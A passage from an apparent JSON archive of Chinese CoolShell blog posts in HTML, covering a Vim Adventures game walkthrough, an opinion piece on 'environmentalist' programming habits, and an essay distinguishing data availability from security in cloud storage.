src=\"../wp-content/uploads/2012/04/vimadventuresgamefun.jpg\" title=\"VIM Adventures\" width=\"600\"/></a></p>\n<p style=\"text-align: left;\">我试玩了一下这个游戏，真的很不错，下面是一些我给的游戏攻略。</p>\n<p style=\"text-align: left;\"><span id=\"more-7166\"></span></p>\n<ul>\n<li>第一关，场景一，首先是使用vim的h, j, k, l四个键来控制方向。（如果你妄图使用光标键的话，系统会出现黄色警告的）你需要使用h, j, k, l 四个方向走到图的右边，找到一把钥匙。（注意：迷宫墙上有些斜面，你可以通过斜面），找到钥匙后，钥匙会出现在你的右上角的位置，示意着你的光标要向那个方向移动，当你到达一个门的时候，会自动开门，进入第二关。</li>\n</ul>\n<ul>\n<li>第二关，每一关的小人都会给你一些英文提示，教你怎么玩。关于第二关，你会看到你过不去，小会提示你，那些绿草地就向我们文件中的行，你在行上按上下键，光标会在这一列上移动，如果这一下面的一行没有这么长，光标会到行尾。这个vim的特性会告诉我们如何过这一关——移到最上面的行尾（因为是最长的可以越过最下面的障碍），然后按下光标键，到最后一行时你就会发现光标已经过了阻碍。如此通过第二场景，达到一个小人后，按下键，进入第二关。</li>\n</ul>\n<ul>\n<li>第三关，我们可以看到地图上有很多的字母，我们还可以看到有两个键，一个是w，一个是e，我们可以把光标移到w上吃到w后，我们就可以使用w键了——以单词为单位移动光标，这样，我们就可以吃到e了和第一把钥匙，我们按w和e我们就可以看到这两个按键都是以单词为单位移动光标的，一个是单词头，一个是单词尾（参看我以前给大家的<a href=\"https://coolshell.cn/articles/5479.html\" target=\"_blank\" title=\"给程序员的VIM速查卡\">vim按键速查卡</a>）。然后，我们在最后一行通过单词跳跃到最右边吃到b—— 回到该单词的头，可以得到第二把钥匙。然后往上走，使用b 和 e键拿到第三把钥匙。然后就可以打开三个门通关了。</li>\n</ul>\n<figure class=\"wp-caption aligncenter\" id=\"attachment_7174\" style=\"width: 431px;\"><a href=\"http://vim-adventures.com/\"><img alt=\"Vim Adventures 第三关\" class=\"size-full wp-image-7174\" height=\"286\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun02.jpg\" title=\"Vim Adventures 第三关\" width=\"431\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-7174\">Vim Adventures 第三关</figcaption></figure>\n<p style=\"text-align: left;\">然后，就需要你注册才能玩了。作者说，因为需要发的邮件太多了，所以现在系统发不出邮件了，请等待。所以，不知道作者是用来收集邮件的，还是没有开发完，不过，<strong>这个游戏的创意实在是太赞了</strong>。推荐给大家。</p>\n<p style=\"text-align: left;\"><strong>哪位会做游戏又熟Vim的朋友也能做一个？</strong></p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3125.html\"><img alt=\"主流文本编辑器学习曲线\" height=\"150\" src=\"../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3083.html\"><img alt=\"三个教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3083.html\">三个教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/894.html\"><img alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" height=\"150\" src=\"../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11312.html\"><img alt=\"无插件Vim编程技巧\" height=\"150\" src=\"../wp-content/uploads/2014/03/success_vim-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11312.html\">无插件Vim编程技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8883.html\"><img alt=\"应该知道的Linux技巧\" height=\"150\" src=\"../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-4-27 做个环保主义的程序员.html",
    "content": "<html><body><p><strong></strong>十多年前刚走入社会工作的时候，那时的中国软件开发根本没有什么版本管理，也没有什么编程规范，软件开发相比起今天来说非常地混乱，那时仅凭自己的一些学习总结了一些C语言编程中的好的小笔记，后来，这些笔记写成了一篇叫《<a href=\"http://blog.csdn.net/haoel/article/details/2872\" target=\"_blank\">编程修养</a>》的文章。今天，又有些感触，想把这个话题扩大一下，从“个人修养”扩大到“环境保护”，所谓，穷则独善其身，富则达济天下，今天的技术人员比十多年前在技术和环境上都富有了许多，所以，也应该或多或少地担负起“达济天下”的责任了。</p>\n<p>环境保护说白了就是保护一个良好的环境，为好的环境添砖加瓦，与破坏环境的人和事做斗争。其实，从技术人员来说，我们可以做一些力所能及的事。因为我们身边的技术环境还有很大的改善的空间，而一些来之不易的东西还需要我们去小心维护。另外，对于我们自己来说，少吃一些垃圾食品，健康生活，对自己也有益。</p>\n<h4>环保主义软件开发</h4>\n<p><strong><img alt=\"\" class=\"alignright\" height=\"233\" src=\"../wp-content/uploads/2012/04/Green-Computing.jpg\" title=\"Green Computing\" width=\"285\"/></strong>先说说软件开发中的环保。比如：</p>\n<ul>\n<li><strong>环保需求</strong>。当我们分析需求的时候，如果我们能做到不要像“<a href=\"https://coolshell.cn/articles/7126.html\" target=\"_blank\" title=\"这到底是谁之错？\">这是到底是谁的错</a>”一文中那样的来者不拒，如果我们在面对需求能多问这样几个问题：为什么 要有这样的需求？这个功能主要能解决什么 样的问题？为什么不是另外那一种？可不可以简化一下？其实，我们并不需要创新，只需要真正地问好这几个问题，我们就可以少看着一些弯路，少一些苦逼的加班，少一些内耗，少一些埋怨，也就可以为这个社会节省下一些资源，从而环保。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>环保开发</strong>。当我们做设计写代码的时候，如果我们多花一些时间去思考一下，我们就可以少一些代码（参看“<a href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\" title=\"多些时间能少写些代码\">多一些时间少一些代码</a>”）。如果我们在一开始多思考一下，不要急着马上去用迭代的方式认识世界，多思考一下怎么把复杂的东西解藕，把复杂的东西简化，怎么做出一个优雅的设计，怎么让我们的程序少一些tricky的东西，怎么让我们的程序变得更简洁，更清楚，更直，在一开始思考一下未来需求可能的变化，未来软件需要怎么测试，未来的系统需要怎么的运维，那么，我们可以少一些返工，少一些重构，少欠一些债，少一些低级错误，少承担一些系统上线后的压力，那么，我们同样可以为这个社会节约一些资源。说得再直白一点，你用更少的代码产生出更高的效益，少耗一些CPU，就能省一些电，间接地保护了环境。（参看<a href=\"https://coolshell.cn/articles/6548.html\" target=\"_blank\" title=\"Why C++ ? 王者归来\"> Why C++？</a>）</li>\n</ul>\n<div><span id=\"more-7186\"></span></div>\n<ul>\n<li><strong>环保文化</strong>。当我们在做软件开发的时候，如果你能影响并帮助你身边的同事，让他们写出更有修养更有效率质量更高的代码来，并发动团队树立工程师的文化，用团队去影响你的老板，你的公司，让他们能再多一点地重视技术，重视技术人员，那么你必然也会成为一个受益者。</li>\n</ul>\n<div></div>\n<ul>\n<li><strong>环保管理</strong>。当你做为一个管理者，做为一个方法推动者，如果你能更多地注重软件开发中真正创造生产力的程序员，为他们分忧，为他们铺路，为他们创造条件，那么，他们就会更多的回馈于你，就会少了一些不信任，就会少了一些被动，就会多一些主动，就会多一分责任，不但可以激发团队热情，同时可以有更大的生产力。同样是一种环保。</li>\n</ul>\n<p>当然，这样的东西还有很多，你也可能会觉得太过理想主义了，我们不可能马上改变之，但是我们可以试一试。</p>\n<h4>技术环保主义</h4>\n<p>其实，我们身边有很多可以做的技术环保工作。比如说，在Linux下少用root用户，SQL的时候，delete前先select，这样，你就不会做出一些让你后悔的事（参看<a href=\"https://coolshell.cn/articles/3980.html\" target=\"_blank\" title=\"程序员那些悲催的事儿\">程序员那些悲催的事</a>），不会让你重头来过，从而至少不会浪费电能。写代码的时候要很小心管理好内存，以及各种资源，和线程并发，组织好的你的代码中的业务逻辑，做好单元测试，自动化回归测试，等，这样你就可以少一点遇到BUG，在遇到BUG时少一些时间去做调查。操作电脑的时候少下一些破解软件，少访问一些乱七八遭的网站，这样，你就会少中一些病毒，少一些损失，少一些重做系统，一样可以节省电能，最重要的是可以节省你的很多时间，让你可以去做一些更有价值 的事情。</p>\n<p>当然，除此之外，我们更应该做为一个大气的，高瞻的环保主义者，比如下面的事情：</p>\n<ul>\n<li><strong>拒绝IE6</strong>。如果你坚决不用IE6，并影响你身边的人，让他们升级IE6，尝试Chrome 或 Firefox，多告诉一下自己身边的朋友，怎么设计口令，怎么在互联网上保护自己的隐私和安全，怎么防木马，这样就能少一些问题，少装两次系统，就能省一些电，也就能多一些时间去做一些更有意义的事。也是在为整个世界整个人类做贡献。（<strong>看看某些软件产商，占据着用户桌面的江山，还整天弹窗弹窗的，说这不安全，那不安全的。你还是做安全的，你居然能容忍IE6装在用户的机器上，你还做个屁的安全！</strong>）2011年3月份，<a href=\"https://coolshell.cn/articles/3921.html\" target=\"_blank\" title=\"中国仍是IE6的重灾区\">我国的IE6用户的百分比是34%</a>， 那时中国网民4.5亿，平均每三个人中有一个，2012年3月份，中国的比例还有24%左右，不过<a href=\"http://it.sohu.com/20120116/n332237326.shtml\" target=\"_blank\">中国的网民数达到了5.13亿</a>，也就是说，平均5个人里有一个，但是中国依然是全世界的IE6占有量最大的，参看下图（来自：<a href=\"http://www.ie6countdown.com/\">http://www.ie6countdown.com</a>）面对下面的图片，你作何感想呢？</li>\n</ul>\n<p style=\"text-align: center;\"><em>“<strong><span style=\"color: #cc0000;\">Friend Don’t Let Friend Use IE6</span></strong>”</em></p>\n<div><a href=\"http://www.ie6countdown.com\"><img alt=\"\" class=\"aligncenter size-full wp-image-7214\" height=\"296\" src=\"../wp-content/uploads/2012/04/iecountdown2012.jpg\" title=\"The Internet Explorer 6 Countdown\" width=\"450\"/></a></div>\n<div></div>\n<ul>\n<li><strong>拒绝破解软件</strong>。为什么要拒绝这些东西，因为你恐怕不知道这个软件的危害，包括一些汉化版的开源软件。这些软件中都会带 一些木马，比如：你下个putty的中文版，结果里有木马，人家就把你网站的口令盗了。关于网游，你可能不知道，连接网游私服的电脑基本上全是肉鸡，而 且，有很多的站点骗你下载软件破解程序，其实你下载到了一个木马。等等。这些生活都非常地不健康。</li>\n</ul>\n<ul>\n<li><strong>拒绝抄袭和山寨</strong>。如果你鄙视那些赤祼祼地抄袭者，不使用他们的产品，有的人会说你就是想标榜自己的高尚，ZB，假高尚，大家会说你没有必要。其实并不是，你这样做，其实是为了“环保”，为了“保护一个健康的IT环境”，虽然你没有创新，但是你的行为却是在鼓励创新的环境，这样，如果当整个大环境都是在创新文化影响之下，才会更健康，技术人员也才会被尊重，而我们自己最终会受益。虽然只是抑制抄袭和山寨，但是我们间接地为社会做了贡献。（看看那N多的抄袭团队，加入他们实在是耗费这个社会的资源） （那个整天复制这个复制这个复制那个的公司，看看你自己做的那些产品线？乱糟糟的。<strong>你自己看看，你有个人空间，还有群空间，还有校友录，然后你还要做个facebook式的“朋友”，还要搞个微博，然后还要搞个微信，大哥啊，你把这些相似度很大的东西放在了N多的服务器上，你不觉得浪费吗？你真是山寨之王啊，自己都一直在复制自己的产品</strong>。还有人说你们的产品经理一流，真是脑残啊。对于你们的复制精神，我只能拜了！）</li>\n</ul>\n<ul>\n<li><strong>拒绝百度搜索</strong>。如果你学得百度还是可以的话，你不妨看看我的微博（<a href=\"http://weibo.com/1401880315/ybN502xZ9\" target=\"_blank\">这个</a>，<a href=\"http://weibo.com/1401880315/ye6wNFTUW\" target=\"_blank\">这个</a>（<a href=\"http://weibo.com/1401880315/ye6E0a4zN\" target=\"_blank\">抓图</a>），还有和<a href=\"http://weibo.com/1401880315/yfC4yzonW\" target=\"_blank\">这个</a>和 <a href=\"http://weibo.com/1401880315/zlS3IbbEH\" target=\"_blank\">这个</a>）（以前，<a href=\"http://www.techweb.com.cn/it/2012-01-31/1145906.shtml\" target=\"_blank\">百度搜索出来的很多的开源软件（PuTTY、WinSCP）的第一个链接全是带木马的</a>，百度就是一个网上的病毒 )，你会发现百度不单单是广告的问题，很多东西根本搜不出来，包括他自己的内容。<strong>用百度就是浪费时间，浪费计算资源</strong>。如果你告诉你身边的朋友不要用百度搜索，而是用Google，并能耐心地教会他们翻墙，这样，我们就可以让那些“穷则穷凶极恶，富则为富不仁”的企业少一些自以为是，最重要的是可以让他们少制造一些垃圾信息和垃圾产品，世界少一些垃圾，自然也就环保了。</li>\n</ul>\n<ul>\n<li><strong>拒绝过重的商业氛围</strong>。很多社区的商业氛围实在是太浓了，全都是广告。整个社区根本都不是为技术人员来做的，而为了那些软件产商，为了那些公司。他们只知道为那些大公司写软文，做广告，开大会。他们只想着挣钱。网页上全是花花绿绿的广告，打开他们的网页，就会多耗许多电，浏览他们网站上的文章，到他们的大会上听他们的软件广告分享，就会让自己的生命和时间浪费，自己消耗了体力不说，却还没得到什么营养，相当的不环保。</li>\n</ul>\n<ul>\n<li><strong>拒绝浮燥</strong>。比如：浮燥地创业者们，被风投们一轮一轮地压榨。为了让风投满意，牺牲自己的初衷，去找水军刷排名，去发垃圾邮件，去烧钱买吆喝，制造虚假的繁荣，等等。另外，少去追那些新的技术，少一些浮夸，不要开口闭口的就是海量数据，高性能，要当个架构师，经理，要拿多少多少的工资，与其这样，还不如多静下心来研究一下那些十来年的技术，思考一下自己身边的问题，一步一步走踏实，少摔几个跟头，这样，你也就能多一些能力，多一些自信，也就能多做一些事，多解决一些问题，你的职业生源走好了，也就很环保了。</li>\n</ul>\n<p>还有很多，我相信大家明白我想说什么。<strong></strong>其实，我想说的是，<strong>这不单单是一种“个人修养”，这也是一种对社会贡献的方式，更是一种“低碳环保”的生活方式</strong>。</p>\n<p><span style=\"color: #cc0000;\"><strong>让我们一起来做有修养的环保主义的程序员吧，少吃一些垃圾食品，多一些绿色的健康生活！</strong></span></p>\n<p><em><strong>—————— 更新 2012年4月27 ——————</strong></em></p>\n<p>我看到很多网友并不同意我的观点，并指责我的偏激和极端。挺好的，我知道，我说到了你们最敏感的地方，我很高兴。</p>\n<p><strong>你可以对现实妥协，你可以继续钟爱你的垃圾食品，你可以继续使用百度搜索，你可以继续生活在墙内，我虽然替你感到惋惜，但是我不会勉强你，因为我能理解你可以不环保，本来也是，这些事情，你能做到固然好，你做不到，也是你的选择。每个人的生活每个人自己去选择，想健康地生活，或是不健康地生活，都是你自己的权利</strong>。</p>\n<p>（全文完）</p>\n<div><strong><br/>\n</strong></div>\n<div><strong><br/>\n</strong></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8170.html\"><img alt=\"一次Ajax查错的经历\" height=\"150\" src=\"../wp-content/uploads/2012/08/ajax_error-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8170.html\">一次Ajax查错的经历</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21589.html\"><img alt=\"如何做一个有质量的技术分享\" height=\"150\" src=\"../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21589.html\">如何做一个有质量的技术分享</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20977.html\"><img alt=\"程序员如何把控自己的职业\" height=\"150\" src=\"../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20977.html\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7186.html\">做个环保主义的程序员</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-4-9 谈谈数据安全和云存储.html",
    "content": "<html><body><p>前些天，创新工场李开复同学<a href=\"http://weibo.com/1197161814/ycNUWw7hz\" target=\"_blank\" title=\"李开复：数据存在大公司比身边安全 不信问陈冠希\">在2012博鳌亚洲论坛表示</a>：</p>\n<blockquote><p>“你们有多少人丢过手机？大概有15%。你们有多少人数据放在微软掉过的？我想不见得很多吧。所以相对来说是安全的。<strong>放在大公司里比自己拿着掉的概率更大，你不相信的话，可以问陈冠希先生。</strong>”</p></blockquote>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://ww4.sinaimg.cn/bmiddle/61e04755jw1drlo96bsktj.jpg\" width=\"440\"/></p>\n<h4>两种安全</h4>\n<p>看到这个消息的时候，我觉得李开复同学混淆了云存储和安全这两个概念，在英文里，有两个单词，<strong>一个是Safety，一个是Security，很不幸的是，这两个英文单词翻译成中文都叫“安全”</strong>，因此总是被混淆，熟知英文又熟悉IT业的李开复同学在这个句子中混淆了这“两种安全”，我在<a href=\"http://weibo.com/haoel\" target=\"_blank\">我的微博</a>上指出来后，居然还有很多网友继续混淆这两点，所以，这让我产生了写篇博文的说明一下，并顺着说说云存储和数据安全的个人理解。</p>\n<p><span id=\"more-6976\"></span></p>\n<ul>\n<li><strong>所谓Safety，也就是数据不丢失的意思。</strong>这是目前云存储解决的问题，你可以把你的数据放在云端，你的所有的终端设备都可以通过云端来共享同步你的数据，这样，<strong>云端就成了你数据同步和备份的数据中枢</strong>。<strong>说得专业一点，这又叫Availability</strong>，中文叫可用性，意思是，你的数据总是可用的，基本不会丢失 ，</li>\n</ul>\n<ul>\n<li><strong>所谓Security，也就是数据的隐私和不泄露</strong>。这就是德艺双馨的陈冠希老师的痛，因为本来隐私和机密的数据被泄露出去了。就目前而言，我看到的云存储解决的都是Availability，而不是Security。Security解决的是私密和不泄露的问题。所以，李开复同学要让陈冠希老师把他的那些数据存到云端是可笑的，<strong>对于那些私密照片，我相信陈冠希老师要求的是“Security”，而不是“Availability”</strong>。</li>\n</ul>\n<p>有网友在我的微博上指出：”一种数据是不能丢，但是可以泄露，那可以放云端，另一种是宁可丢都不能泄露，这就不能放在云端了”。这句话可以帮你更好地理解什么是Availability和Security。</p>\n<h4>Security – 本地 vs 云端</h4>\n<p>现在的云解决的更多的是不丢失，而不是不泄漏。有一些网友在微博上和我争论道，其实云存储也能保证Security，因为有加密认证，云端会加密数据。我对此存有不同意见，<strong>对于Security，我个人更觉得，Security的数据应该完全私有化，所以，放在本地会有更好的Security</strong>。我的理由如下：</p>\n<ul>\n<li>先问你自己一个问题，无论是不是大公司的云服务，你敢把你的银行帐号和口令存在云端吗？你的银行帐号和口令你可能都不敢放在你的电脑里。因为你要找到一个完全绝对只有你能访问的地方。比如说你的大脑。</li>\n</ul>\n<ul>\n<li>云端的认证和云端的数据加密有用吗？没有用的，因为我只要破解了这个用户口令，想想你的电脑成了肉鸡，你网盘的口令都不要，你云端的数据一下都成了浮云了。想想去年年底各大网站的口令泄露吧。</li>\n</ul>\n<ul>\n<li>数据存放在本地的移动硬盘上时，只有你的电脑同时插着USB链接线了上网线时，别人才有机会入侵，一旦你发现入侵，你还可以拔线。而你的数据放在云端，黑客可以全天候地入侵你的云端数据，得手后你都不知道你自己的帐号被黑了。</li>\n</ul>\n<ul>\n<li>无论是云端或是本地都防不住你的客户端被肉鸡，而云端还要面对比本地更多的风险，比如，云端无良员工，云端的代码漏洞，云端的黑客入侵，还有电邮电话诈骗，钓鱼网站，DNS劫持，政府审查，等等，等等。</li>\n</ul>\n<p>看看银行和金融行业，完全是自己的专用网络，和互联网物理隔绝，这就是为了Security。Security就必需是完全绝对的对数据的私有化。比如某些公司的电脑不能使用USB，光驱等等外设，所有内网与外网的数据交换都必需受到监控。</p>\n<p>再多说一点，其实，要黑你的云端帐号并不用很高深的技术，有调查表明，伪装成客服人员或是警察给你打个电话问你要口令，大多数人是会告诉自己的帐号和口令的。还有就是抓住人的占便宜的心理，比如：在大街上撒U盘，大多数人是会捡回去插在自己或公司的电脑上浏览里面的内容的。</p>\n<p>所以，所谓物理隔绝不单单只是网线，还有这些外设。</p>\n<h4>Availability – 本地 vs 云端</h4>\n<p>硬盘是有寿命的，如果你不间断开机，你的硬盘估计也就能支持5年左右。光盘也是有寿命，因为是塑料也会老化的，和存放的条件有关。所以，在本地看来，数据总是容易丢失的。因为我们本地的存储设备并不可靠，只是家用级的，不是工业级的。</p>\n<p>云存储可以使用RAID之类的家庭里用不到的技术来镜像数据等技术手机，从而可以保证可用性很高，所以，放在云端的数据库可用性会更高一些（当然，就像开复老师说的一样还是要大公司才靠谱）。</p>\n<p>再多说一点，现在很多云存储仅仅只是做简单的和客户端本地的数据同步，没有版本控制，这意味着，如果你本地的文件本来是好的，但是后来你的电脑中了病毒后，你本地的数据被损坏了，不幸的是，这些被损坏的数据也同步到了云端，并分发到了你所有的终端设备中，于是灾难还是一样发生。所以，不支持版本控制，或是更轻量一些的“数据快照”功能的云，其实其数据并不Safe。</p>\n<h4>家庭私有云存储</h4>\n<p>云存储，对于PC用户来说，就目前而言，最多的应用还是那些各种各样的Dropbox类的网盘应用，这些应用很好地解决了数据的——备份、同步、共享这三个问题。但是，我觉得还是有一些如下问题没有解决。</p>\n<ul>\n<li>Security问题。就是陈冠希老师的数据私密性的问题。</li>\n<li>费用问题。相对于本地的存储来说，网盘费用太高了，还是一月或一年的算，Dropbox 100GB的网盘要200USD一年，这够买两个1TB的硬盘了，而且绝对可以用超过1年以上。</li>\n<li>备份效率问题。通过网络备份，同步和共享，对于数据量大一点，效率太差了。</li>\n</ul>\n<p>我不知道大家怎么样？我现在更多的数据备份是我的一些家庭照片和视频，随着现在的数码相机的像素越来越高，一张照片的大小可以在4MB甚至10M，数据量太大了。而且，这些照片都个人的照片，不能传到网上做备份。每次在我的SD卡，PC，移动硬盘，iPad，手机上倒腾这些照片和视频的时候，总是很麻烦。（我昨晚在微博上<a href=\"http://weibo.com/1401880315/ydGN1zXGz\">做了个小调查</a>，发现很多人家里是有很多设备的，像我这样，家里有3个本，2个台式机，2个kindle，1个iPad，2个智能手机，1个高清播放机的家庭都算是比较节俭的了）</p>\n<p><strong>我觉得就目前这样的情况，个人家庭的私有云解决方案应该要出现了</strong>。也就是家庭内的数据中心解决方案，也许只需要像高清播放机那样的一个小盒子，里面可以用软件RAID两块或多块硬盘以保证数据的可用性，其还可以让你的数据在N多设备中共享，同步，备份，但你又不用担心互联网安全来担心这些数据，因为这仅仅是你的家庭局域网。</p>\n<p>因为小孩让家庭照片和视频暴增，导致我去年就在想应该有一个家庭私有网盘的东西，所以，当我前些天看到<a href=\"http://www.spacemonkey.com/\" target=\"_blank\">Space Monkey</a> （<a href=\"http://news.cnet.com/8301-19882_3-57391989-250/dropbox-rival-space-monkey-puts-cloud-in-your-house/\" target=\"_blank\">新闻报道</a>）的时候，我立马就觉得这就是我想要的东西。</p>\n<p><img alt=\"\" class=\"aligncenter\" src=\"http://asset1.cbsistatic.com/cnwk.1d/i/tim/2012/03/07/spacemonkeyHW_270x283.JPG\"/></p>\n<p>不过，国内还没有相应的产品，有想法的同学不妨试试去做一个类似于这样的产品，动作要快，千万不要让创新工场和腾讯抢先了。;-)</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21708.html\"><img alt=\"网络数字身份认证术\" height=\"150\" src=\"../wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21708.html\">网络数字身份认证术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19395.html\"><img alt=\"HTTP API 认证授权术\" height=\"150\" src=\"../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19395.html\">HTTP API 认证授权术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17607.html\"><img alt=\"从 MongoDB “赎金事件” 看安全问题\" height=\"150\" src=\"../wp-content/uploads/2017/01/MongoDB-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17607.html\">从 MongoDB “赎金事件” 看安全问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17066.html\"><img alt=\"关于移动端的钓鱼式攻击\" height=\"150\" src=\"../wp-content/uploads/2015/04/phishing-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17066.html\">关于移动端的钓鱼式攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11973.html\"><img alt=\"bash代码注入的安全漏洞\" height=\"150\" src=\"../wp-content/uploads/2014/09/bashbug-150x150.jpg\" 